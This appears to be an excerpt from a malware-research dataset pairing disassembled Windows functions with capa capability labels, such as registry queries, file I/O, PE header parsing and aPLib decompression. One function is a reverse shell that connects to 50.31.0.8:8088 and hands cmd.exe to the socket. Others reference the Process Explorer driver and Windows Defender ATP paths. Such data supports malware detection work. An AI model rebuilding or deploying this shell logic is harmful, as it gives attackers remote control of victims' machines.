joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400de7d0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x3f70]
mov eax, 0x4070
call fcn.1400e8ab0
sub rsp, rax
mov rax, qword [0x140178010]
xor rax, rsp
mov qword [rbp + 0x3f60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xor ebx, ebx
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x50], ebx
mov qword [rsp + 0x58], rbx
call fcn.140004e00
mov rcx, rax
test rax, rax
je 0x1400dea14
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
call qword [case.0x140050923.0]
add rax, 0x18
mov qword [rsp + 0x38], rax
lea rsi, [0x140103060]
mov rdx, rsi
lea rcx, [rsp + 0x38]
call fcn.140004560
lea rdi, [rbx - 1]
test al, al
jne 0x1400de87f
mov rax, rdi
inc rax
cmp word [rsi + rax*2], 0
jne 0x1400de864
mov r8d, eax
mov rdx, rsi
lea rcx, [rsp + 0x38]
call fcn.1400047f0
nop
mov r9d, 0x20019
lea r8, str.SOFTWARERealtekAudioWOV
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x48]
call fcn.14002b400
mov rsi, qword [rsp + 0x48]
test eax, eax
jne 0x1400de904
mov dword [rsp + 0x30], 0x4000
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
xor r8d, r8d
lea rdx, str.VoiceAssistantApplication
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
test eax, eax
jne 0x1400de904
mov eax, dword [rsp + 0x40]
dec eax
cmp eax, 1
ja 0x1400de904
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1400de97c
test al, 1
jne 0x1400de904
shr rax, 1
cmp word [rsp + rax*2 + 0x5e], 0
je 0x1400de981
test rsi, rsi
je 0x1400de917
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x50], ebx
mov rdx, qword [rsp + 0x38]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], edi
sub edi, 1
jg 0x1400de942
lfence
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [case.0x140050923.0]
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400de952
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rbp + 0x3f60]
xor rcx, rsp
call fcn.1400df340
lea r11, [rsp + 0x4070]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov word [rsp + 0x60], bx
lea rcx, [rsp + 0x60]
mov rax, rdi
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x1400de990
mov r8d, eax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.1400047f0
mov rdx, qword [rsp + 0x38]
lea r8, str.LenovoVoiceAssistant
mov rcx, rdi
nop dword [rax + rax]
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x1400de9e2
add rcx, 2
cmp rcx, 0x15
je 0x1400dea10
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
je 0x1400de9c0
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1400de904
test rsi, rsi
je 0x1400dea02
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x50], ebx
mov ebx, 1
jmp 0x1400de91b
mov eax, ebx
jmp 0x1400de9e7
mov ecx, 0x80004005
call fcn.140004f30
int3
Function at 0x1400dea20
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x3f70]
mov eax, 0x4070
call fcn.1400e8ab0
sub rsp, rax
mov rax, qword [0x140178010]
xor rax, rsp
mov qword [rbp + 0x3f60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xor ebx, ebx
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x50], ebx
mov qword [rsp + 0x58], rbx
call fcn.140004e00
mov rcx, rax
test rax, rax
je 0x1400dec64
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
call qword [case.0x140050923.0]
add rax, 0x18
mov qword [rsp + 0x38], rax
lea rsi, [0x140103060]
mov rdx, rsi
lea rcx, [rsp + 0x38]
call fcn.140004560
lea rdi, [rbx - 1]
test al, al
jne 0x1400deacf
mov rax, rdi
inc rax
cmp word [rsi + rax*2], 0
jne 0x1400deab4
mov r8d, eax
mov rdx, rsi
lea rcx, [rsp + 0x38]
call fcn.1400047f0
nop
mov r9d, 0x20019
lea r8, str.SOFTWARERealtekWOV
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x48]
call fcn.14002b400
mov rsi, qword [rsp + 0x48]
test eax, eax
jne 0x1400deb54
mov dword [rsp + 0x30], 0x4000
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
xor r8d, r8d
lea rdx, str.VoiceAssistantApplication
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
test eax, eax
jne 0x1400deb54
mov eax, dword [rsp + 0x40]
dec eax
cmp eax, 1
ja 0x1400deb54
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1400debcc
test al, 1
jne 0x1400deb54
shr rax, 1
cmp word [rsp + rax*2 + 0x5e], 0
je 0x1400debd1
test rsi, rsi
je 0x1400deb67
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x50], ebx
mov rdx, qword [rsp + 0x38]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], edi
sub edi, 1
jg 0x1400deb92
lfence
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [case.0x140050923.0]
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400deba2
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rbp + 0x3f60]
xor rcx, rsp
call fcn.1400df340
lea r11, [rsp + 0x4070]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov word [rsp + 0x60], bx
lea rcx, [rsp + 0x60]
mov rax, rdi
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x1400debe0
mov r8d, eax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.1400047f0
mov rdx, qword [rsp + 0x38]
lea r8, str.LenovoVoiceAssistant
mov rcx, rdi
nop dword [rax + rax]
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x1400dec32
add rcx, 2
cmp rcx, 0x15
je 0x1400dec60
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
je 0x1400dec10
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1400deb54
test rsi, rsi
je 0x1400dec52
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x50], ebx
mov ebx, 1
jmp 0x1400deb6b
mov eax, ebx
jmp 0x1400dec37
mov ecx, 0x80004005
call fcn.140004f30
int3
Function at 0x1400e26d0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1400e26fd
xor eax, eax
jmp 0x1400e27f7
cmp qword [rcx + 0x68], 0
je 0x1400e2711
lfence
call fcn.140086a70
jmp 0x1400e27f7
mov rax, qword [rcx + 0x38]
mov rbp, rdi
mov rdx, qword [rax]
test rdx, rdx
je 0x1400e2728
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400e272a
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400e275c
cmp rax, rdi
mov rbx, rdi
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.1400e5de0
mov rax, qword [rsi + 0x50]
add r14, rbx
sub rbp, rbx
sub dword [rax], ebx
mov rcx, qword [rsi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1400e27ee
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x1400e2797
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov rbx, rbp
mov r15d, 0xfff
jmp 0x1400e27c7
mov r9, qword [rsi + 0x80]
mov r8, r15
mov edx, 1
mov rcx, r14
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fread
sub rbp, rax
add r14, rax
mov rbx, rbp
cmp rax, r15
jne 0x1400e27ee
cmp rbp, r15
ja 0x1400e27a2
test rbx, rbx
je 0x1400e27ee
mov r9, qword [rsi + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, r14
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fread
mov rbp, rbx
sub rbp, rax
sub rdi, rbp
mov rax, rdi
lfence
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x1400e3840
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rax, qword [0x140178010]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov edi, 0xffff
xor r14d, r14d
movzx esi, dx
mov rbx, rcx
cmp di, dx
jne 0x1400e3884
movzx eax, r14w
jmp 0x1400e39bd
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x1400e38c0
mov rax, qword [rcx + 0x58]
movsxd r9, dword [rax]
lea rdx, [r8 + r9*2]
cmp r8, rdx
jae 0x1400e38c0
lea ecx, [r9 - 1]
mov dword [rax], ecx
movzx eax, si
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], si
jmp 0x1400e39bd
cmp qword [rcx + 0x80], r14
je 0x1400e39ba
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x1400e38fe
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub rdx, rcx
mov rax, qword [rbx + 0x38]
sar rdx, 1
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400e3927
movzx ecx, si
mov rdx, qword [rbx + 0x80]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputwc
cmp ax, di
je 0x1400e39ba
movzx edi, si
jmp 0x1400e39ba
lea r8, [rbp + 0xf]
mov word [rbp + 7], si
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rbp + 9]
lea r8, [rbp + 0x3f]
mov qword [rsp + 0x30], r8
lea r8, [rbp + 0x1f]
mov rax, qword [rax + 0x38]
mov qword [rsp + 0x28], r8
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], r8
lea r8, [rbp + 7]
call qword [case.0x140050923.0]
test eax, eax
je 0x1400e397c
sub eax, 1
je 0x1400e397c
cmp eax, 2
jne 0x1400e39ba
movzx ecx, word [rbp + 7]
jmp 0x1400e390a
mov r14, qword [rbp + 0xf]
lea rax, [rbp + 0x1f]
sub r14, rax
je 0x1400e39a9
lfence
mov r9, qword [rbx + 0x80]
lea rcx, [rbp + 0x1f]
mov r8, r14
mov edx, 1
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
cmp r14, rax
jne 0x1400e39ba
lea rax, [rbp + 7]
mov byte [rbx + 0x72], 1
cmp qword [rbp + 0x17], rax
movzx eax, si
jne 0x1400e39bd
movzx eax, di
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.1400df340
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x1400111fe
Capabilities:
Terminate process

Disassembly:
jmp 0x140012ef0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001127b
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
jmp 0x1400117f0
push rbp
push rsi
push rdi
sub rsp, 0x460
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xa4
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001d040]
xor rax, rbp
mov qword [rbp + 0x408], rax
lea rcx, [0x1400230a8]
call fcn.140011389
lea rdx, [0x14001d200]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [0x14001d398], rax
mov qword [rbp + 8], 0
mov r8d, 0x30
xor edx, edx
lea rcx, [rbp + 0x28]
call fcn.1400112d0
mov dword [rbp + 0x2c], 2
mov dword [rbp + 0x30], 1
mov dword [rbp + 0x34], 6
lea r9, [rbp + 8]
lea r8, [rbp + 0x28]
lea rdx, str.8088
lea rcx, str.50.31.0.8
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov eax, 2
mov word [0x14001d3a0], ax
lea rcx, str.8088
call qword [sym.imp.ucrtbased.dll_atoi]
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x14001d3a2], ax
mov rax, qword [rbp + 8]
mov rax, qword [rax + 0x20]
mov eax, dword [rax + 4]
mov dword [0x14001d3a4], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x10
lea rdx, [0x14001d3a0]
mov rcx, qword [0x14001d398]
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov r8d, 0x68
xor edx, edx
lea rcx, [0x14001d3b0]
call fcn.1400112d0
mov dword [0x14001d3b0], 0x68
mov dword [0x14001d3ec], 0x101
mov rax, qword [0x14001d398]
mov qword [0x14001d410], rax
mov rax, qword [0x14001d410]
mov qword [0x14001d408], rax
mov rax, qword [0x14001d408]
mov qword [0x14001d400], rax
lea rax, [rbp + 0x80]
lea rcx, str.cmd.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x1ee
rep stosb byte [rdi], al
lea rax, [0x14001d418]
mov qword [rsp + 0x48], rax
lea rax, [0x14001d3b0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001ac90]
call fcn.14001131b
mov eax, edi
mov rcx, qword [rbp + 0x408]
xor rcx, rbp
call fcn.1400111bd
lea rsp, [rbp + 0x410]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140011285
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014240
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014260
xor al, al
jmp 0x1400142e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014273
xor al, al
jmp 0x1400142e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001429d
xor al, al
jmp 0x1400142e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400142b1
xor al, al
jmp 0x1400142e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400142c3
xor al, al
jmp 0x1400142e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400142df
xor al, al
jmp 0x1400142e1
mov al, 1
add rsp, 0x38
ret
Function at 0x63a0c058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.63a0c1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x63a0c089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x63a0c06f
add dl, dl
jne 0x63a0c096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x63a0c0f6
xor eax, eax
add dl, dl
jne 0x63a0c0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x63a0c1ad
add dl, dl
jne 0x63a0c0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x63a0c0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x63a0c0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x63a0c0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x63a0c0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x63a0c07e
mov eax, 1
add dl, dl
jne 0x63a0c106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x63a0c113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x63a0c0fb
sub eax, ebx
mov ebx, 1
jne 0x63a0c14c
mov ecx, 1
add dl, dl
jne 0x63a0c12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x63a0c13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x63a0c123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x63a0c07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x63a0c168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x63a0c175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x63a0c15d
cmp eax, 0x7d00
jae 0x63a0c19b
cmp eax, 0x500
jb 0x63a0c196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x63a0c07e
cmp eax, 0x7f
ja 0x63a0c19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x63a0c07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x63a0c1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x63a0c07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001f50
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001f9a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001f9a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001f9a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001f9a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001f9a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001f9c
xor al, al
add rsp, 0x28
ret
Function at 0x14000ed84
Capabilities:
Check if file exists
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x140043db0]
xor rax, rsp
mov qword [rbp + 0x4f], rax
movdqa xmm0, xmmword [0x1400300d0]
lea rdx, [rbp - 0x39]
mov rbx, rcx
xor edi, edi
xor ecx, ecx
mov word [rbp - 0x11], di
movdqu xmmword [rbp - 1], xmm0
mov dword [rbp - 0x39], edi
call qword [sym.imp.USERENV.dll_GetAllUsersProfileDirectoryW]
nop dword [rax + rax]
mov edx, dword [rbp - 0x39]
lea rcx, [rbp - 0x29]
call fcn.14000d1b4
mov rcx, qword [rbp - 0x29]
lea rdx, [rbp - 0x39]
call qword [sym.imp.USERENV.dll_GetAllUsersProfileDirectoryW]
nop dword [rax + rax]
test eax, eax
je 0x14000ee45
mov r8d, dword [rbp - 0x39]
lea rcx, [rbp + 0x2f]
mov rdx, qword [rbp - 0x29]
dec r8d
call fcn.14000c45c
mov rdx, rax
lea r8, [0x1400300c0]
lea rcx, [rbp + 0xf]
call fcn.1400086dc
lea r8, str.MicrosoftWindows_Defender_Advanced_Threat_Protection_
mov rdx, rax
mov rcx, rbx
call fcn.1400086dc
lea rcx, [rbp + 0xf]
call fcn.1400082a4
lea rcx, [rbp + 0x2f]
call fcn.1400082a4
jmp 0x14000ee9b
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
mov edi, eax
call fcn.140008d5c
cmp dword [rax], 2
jbe 0x14000ee8c
lea rcx, str.GetAllUsersProfileDirectory_failed
mov dword [rbp - 0x35], edi
mov qword [rbp - 0x31], rcx
lea rdx, [0x14003a13c]
lea rcx, [rbp - 0x31]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp - 0x35]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140002ecc
lea rdx, str.MicrosoftWindows_Defender_Advanced_Threat_Protection_
mov rcx, rbx
call fcn.140007720
lea rcx, [rbp - 0x29]
call fcn.14000df40
lea rcx, [rbp - 0x11]
call fcn.1400082a4
mov rax, rbx
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.14000f940
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x14000f968
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140044440], eax
call fcn.1400100e0
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140044440], 0
jne case.default.0x14000f9be
mov ecx, 1
call fcn.1400100e0
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
out 0xac, eax
stc
jp 0x14006f156
push rsp
invalid
invalid
Function at 0x14003b210
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rax, qword [0x140082030]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov dil, 1
cmp qword [rcx + 0x68], 0
je 0x14003b2cc
mov rsi, rcx
cmp byte [rcx + 0x71], 0
je 0x14003b2cc
mov rax, qword [rsi]
mov rax, qword [rax + 0x18]
mov rcx, rsi
mov edx, 0xffffffff
call qword [0x1400b8010]
cmp eax, 0xffffffff
je 0x14003b2ca
mov rcx, qword [rsi + 0x68]
lea r9, [rsp + 0x50]
lea rdx, [rsi + 0x74]
mov rax, qword [rcx]
mov rax, qword [rax + 0x40]
lea r8, [rsp + 0x28]
mov qword [rsp + 0x20], r8
lea rdi, [rsp + 0x30]
mov r8, rdi
call qword [0x1400b8010]
cmp eax, 3
je 0x14003b2e3
cmp eax, 1
je 0x14003b299
test eax, eax
jne 0x14003b2ca
mov byte [rsi + 0x71], 0
mov rbx, qword [rsp + 0x28]
sub rbx, rdi
je 0x14003b2c0
mov r9, qword [rsi + 0x80]
mov edx, 1
mov rcx, rdi
mov r8, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
jne 0x14003b2ca
cmp byte [rsi + 0x71], 0
sete dil
jmp 0x14003b2cc
xor edi, edi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140038e80
mov eax, edi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret
mov byte [rsi + 0x71], 0
mov dil, 1
jmp 0x14003b2cc
Function at 0x140001230
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x270
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rbx, rcx
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x50]
mov ecx, 0x105
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
xor eax, eax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 7
mov word [rsp + 0x20], ax
lea r8d, [rax + 0xf]
lea rdx, str.PROCEXP152.sys
lea rcx, [rsp + 0x20]
call fcn.140002130
nop
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.1400022b0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x1400012eb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400012e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400012e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000260c
mov rax, rbx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400025b0
add rsp, 0x270
pop rbx
ret
Function at 0x140001730
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, 0x84
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor r8d, r8d
mov rcx, rax
mov rbx, rax
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8d, esi
lea edx, [rsi - 0x7c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r9d, r9d
lea ecx, [rsi - 0x74]
mov rdx, rax
mov r8d, esi
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400017d2
add esi, esi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
mov edx, 1
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8d, esi
mov edx, 8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r9d, r9d
mov r8d, esi
mov rdx, rax
mov rdi, rax
lea ecx, [r9 + 0x10]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140001788
